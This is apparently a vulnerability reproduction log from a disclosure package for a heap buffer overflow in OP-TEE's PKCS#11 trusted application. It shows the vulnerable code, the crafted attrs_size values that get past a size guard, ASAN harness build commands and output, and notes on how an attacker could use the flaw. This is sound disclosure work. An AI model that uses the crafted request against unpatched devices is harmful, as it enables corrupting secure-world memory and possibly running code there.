# C-01 Bug Reproduction Log: Heap Buffer Overflow in PKCS#11 C_GetAttributeValue > Archive note, 2026-04-30: this file records an earlier ASAN-harness analysis. > The runnable PoC in this folder is the QEMUv8 TEEC PoC documented in > `README.md` (`c01_poc.c`, `build_poc.sh`, `run_c01.sh`). The official advisory > is GHSA-8cqw-mg7v-c9p9 / CVE-2026-33317, with CVSS 8.7 High, CWE-125/CWE-787, > and patched versions listed as 4.11 and later. ## Vulnerability Summary **Title**: Heap Buffer Overflow in PKCS#11 TA `C_GetAttributeValue` via Undersized `attrs_size` **CWE**: CWE-122 (Heap-based Buffer Overflow), CWE-131 (Incorrect Calculation of Buffer Size) **CVSS v3.1**: 9.3 (Critical) — AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H **Vulnerable commit**: `06c4e95e469c9c89e9ba4a6915d1be7bb8ea6fbc` **Affected files**: - `ta/pkcs11/src/object.c` — `entry_get_attribute_value()`, lines 828–892 - `ta/pkcs11/src/attributes.c` — `get_attribute()`, lines 179–186 --- ## Root Cause In `entry_get_attribute_value()` (`ta/pkcs11/src/object.c`), the template buffer is allocated by `serialargs_alloc_get_attributes()` with size: ``` sizeof(pkcs11_object_head) + attrs_size (attacker-controlled) ``` No check enforces that `attrs_size` is large enough to hold both attribute headers **and** the corresponding attribute data. An attacker sets `attrs_size = 8` (exactly one `pkcs11_attribute_head`, zero bytes for data). The allocation is 16 bytes total (8 header + 8 attacker `attrs_size`). In the loop body (object.c:866), the data pointer is computed as: ```c data_ptr = cli_head.size ? cli_ref->data : NULL; // cli_ref->data = cur + sizeof(pkcs11_attribute_head) = cur + 8 = end (OOB) ``` `get_attribute()` (`ta/pkcs11/src/attributes.c`:185–186) then writes the attribute value at this out-of-bounds pointer, bypassing the size check because the attacker set `cli_head.size >= actual_attribute_size`: ```c if (attr_size && *attr_size < size) { ... } // bypassed: attacker size >= actual if (attr) TEE_MemMove(attr, attr_ptr, size); // HEAP OVERFLOW: writes past allocation ``` --- ## Environment - **Host**: x86-64 Linux (Ubuntu 24.04) - **Compiler**: GCC 13.3.0 - **Sanitizer**: AddressSanitizer (`-fsanitize=address`) - **OP-TEE OS commit**: `06c4e95e469c9c89e9ba4a6915d1be7bb8ea6fbc` - **Source**: `/` - **PoC location**: `/` The PoC approach compiles the actual TA source functions extracted verbatim from the repository (`ta/pkcs11/src/attributes.c`, `ta/pkcs11/src/serializer.c`) for x86 with ASAN, using trivial TEE API stubs (`TEE_MemMove` → `memmove`, `TEE_Malloc` → `calloc`). This avoids the need for a full OP-TEE cross-compilation toolchain or QEMU environment. --- ## Reproduction Steps ### Step 1: Verify the vulnerable commit ```bash cd git log --format="%H" -1 # Expected: 06c4e95e469c9c89e9ba4a6915d1be7bb8ea6fbc ``` Output: ``` 06c4e95e469c9c89e9ba4a6915d1be7bb8ea6fbc ``` ### Step 2: Confirm vulnerable source code `ta/pkcs11/src/object.c` lines 828–829 and 866 show the unguarded allocation and out-of-bounds data pointer: ```c // object.c:828-829 cur = (char *)template + sizeof(struct pkcs11_object_head); end = cur + template->attrs_size; // attrs_size = 8 (attacker-controlled) // object.c:866 — data_ptr = cur + 8 = end (past allocation boundary) data_ptr = cli_head.size ? cli_ref->data : NULL; // object.c:872 — passes OOB pointer to get_attribute() rc = get_attribute(obj->attributes, cli_head.id, data_ptr, &cli_head.size); ``` `ta/pkcs11/src/attributes.c` lines 179–186 show the bypassed size guard: ```c // attributes.c:179 — guard is bypassed when attacker sets size >= actual if (attr_size && *attr_size < size) { *attr_size = size; return PKCS11_CKR_BUFFER_TOO_SMALL; // NOT reached } // attributes.c:185-186 — OVERFLOW: writes to OOB pointer if (attr) TEE_MemMove(attr, attr_ptr, size); ``` ### Step 3: Build the PoC ```bash cd chmod +x build.sh ./build.sh ``` The build script compiles `poc_harness.c` (which `#include`s `attributes_funcs.inc` and `serializer_funcs.inc`) with AddressSanitizer: ```bash gcc -fsanitize=address -fno-omit-frame-pointer -g -O0 \ -Wall -Wextra \ -o poc_harness poc_harness.c ``` Output: ``` poc_harness.c:95:20: warning: 'id2str_attr' defined but not used [-Wunused-function] Build successful. Run: ./poc_harness ``` ### Step 4: Run the PoC ```bash ./poc_harness ``` The PoC performs the following attack sequence (matching what a Normal World attacker would send via the TEE driver interface): 1. Creates a PKCS#11 object with `CKA_LABEL = "AAAAAAAAAAAAAAAA"` (16 bytes) using the real TA `add_attribute()` function. 2. Crafts a malicious serialized template buffer: - `pkcs11_object_head.attrs_size = 8` (exactly one `pkcs11_attribute_head`, zero data bytes) - `pkcs11_object_head.attrs_count = 1` - Single `pkcs11_attribute_head` with `id = CKA_LABEL`, `size = 16` 3. Calls `serialargs_alloc_get_attributes()` which allocates `sizeof(pkcs11_object_head) + attrs_size = 8 + 8 = 16` bytes. 4. Executes the vulnerable loop from `entry_get_attribute_value()`: - `cur = template + 8`, `end = cur + 8` → `data_ptr = cur + 8 = end` (OOB) - `get_attribute()` writes 16 bytes of the label at `data_ptr` (0 bytes past the end of the allocation) --- ## Observed Result AddressSanitizer detects a **heap-buffer-overflow** write of 16 bytes at exactly 0 bytes past the end of the 16-byte allocation: ``` ================================================================= ==218269==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5020000000a0 at pc 0x7029f2cfac7f bp 0x7ffd29f47aa0 sp 0x7ffd29f47248 WRITE of size 16 at 0x5020000000a0 thread T0 #0 0x7029f2cfac7e in memmove sanitizer_common_interceptors_memintrinsics.inc:98 #1 0x60b752f9c45f in TEE_MemMove poc_harness.c:42 #2 0x60b752f9e0ea in get_attribute attributes_funcs.inc:124 #3 0x60b752f9e744 in main poc_harness.c:164 0x5020000000a0 is located 0 bytes after 16-byte region [0x502000000090,0x5020000000a0) allocated by thread T0 here: #0 0x7029f2cfd340 in calloc asan_malloc_linux.cpp:77 #1 0x60b752f9c3ea in TEE_Malloc poc_harness.c:30 #2 0x60b752f9ccee in alloc_and_get serializer_funcs.inc:75 #3 0x60b752f9d02f in serialargs_alloc_get_attributes serializer_funcs.inc:101 #4 0x60b752f9e550 in main poc_harness.c:142 SUMMARY: AddressSanitizer: heap-buffer-overflow in memmove ``` Key observations: - **Allocation**: 16 bytes at `[0x502000000090, 0x5020000000a0)` by `alloc_and_get()` ← `serialargs_alloc_get_attributes()` with `sizeof(pkcs11_object_head) + attrs_size = 8 + 8 = 16`. - **Overflow**: 16-byte WRITE at `0x5020000000a0` — exactly 0 bytes past the allocation end. - **Write origin**: `memmove` inside `TEE_MemMove` ← `get_attribute()` ← the vulnerable loop in `entry_get_attribute_value()`. - **Overflow content**: 16 bytes of attacker-controlled `CKA_LABEL` data written to heap past the allocation boundary. This confirms the heap buffer overflow is reproducible on the vulnerable commit. --- ## Attack Primitive A Normal World attacker can: 1. Set `attrs_size` to any value that is a multiple of `sizeof(pkcs11_attribute_head)` (8 bytes) to control the number of OOB writes. 2. Control the overflow content if they created the target object (via `CKA_LABEL` or similar writeable attributes). 3. Overflow N bytes past the heap allocation, where N equals the actual attribute value size (up to ~256 bytes for RSA moduli). In the real Secure World, this corrupts the PKCS#11 TA's S-EL0 heap, potentially enabling code execution within the TEE or a DoS of the TA. --- ## Files | File | Description | |------|-------------| | `poc_harness.c` | Main harness that constructs the malicious request and exercises the vulnerable code path | | `attributes_funcs.inc` | Functions extracted verbatim from `ta/pkcs11/src/attributes.c` | | `serializer_funcs.inc` | Functions extracted verbatim from `ta/pkcs11/src/serializer.c` | | `build.sh` | Build script (GCC + ASAN) | | `poc_harness` | Compiled binary | | `report.md` | Full vulnerability report | | `email.txt` | Disclosure email draft |